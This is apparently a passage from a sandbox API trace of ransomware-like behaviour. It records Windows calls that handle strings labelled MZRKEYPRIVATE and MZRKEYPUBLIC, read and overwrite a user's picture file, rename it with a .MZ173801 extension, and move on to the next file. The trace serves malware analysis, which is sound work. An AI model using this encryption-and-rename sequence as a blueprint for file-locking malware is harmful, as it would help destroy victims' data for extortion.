lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.354] GetCurrentThreadId () returned 0xab4 [0153.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.355] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.355] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.355] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x18713 [0153.355] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.355] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x18713, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x18713, lpOverlapped=0x0) returned 1 [0153.356] CloseHandle (hObject=0x294) returned 1 [0153.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.361] WriteFile (in: hFile=0x294, lpBuffer=0x24fdd50*, nNumberOfBytesToWrite=0x18713, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24fdd50*, lpNumberOfBytesWritten=0x19fa24*=0x18713, lpOverlapped=0x0) returned 1 [0153.363] CloseHandle (hObject=0x294) returned 1 [0153.366] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png.mz173801")) returned 1 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.366] GetCurrentThreadId () returned 0xab4 [0153.367] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a850400, ftCreationTime.dwHighDateTime=0x1d5f0f5, ftLastAccessTime.dwLowDateTime=0x7edfeba0, ftLastAccessTime.dwHighDateTime=0x1d5ef94, ftLastWriteTime.dwLowDateTime=0x7edfeba0, ftLastWriteTime.dwHighDateTime=0x1d5ef94, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="ThBkp.jpg", cAlternateFileName="")) returned 1 [0153.367] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.367] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a850400, ftCreationTime.dwHighDateTime=0x1d5f0f5, ftLastAccessTime.dwLowDateTime=0x7edfeba0, ftLastAccessTime.dwHighDateTime=0x1d5ef94, ftLastWriteTime.dwLowDateTime=0x7edfeba0, ftLastWriteTime.dwHighDateTime=0x1d5ef94, nFileSizeHigh=0x0, nFileSizeLow=0xa70)) returned 1 [0153.367] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg")) returned 0x20 [0153.367] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg", dwFileAttributes=0x80) returned 1 [0153.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.370] GetCurrentThreadId () returned 0xab4 [0153.370] GetCurrentThreadId () returned 0xab4 [0153.370] GetCurrentThreadId () returned 0xab4 [0153.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 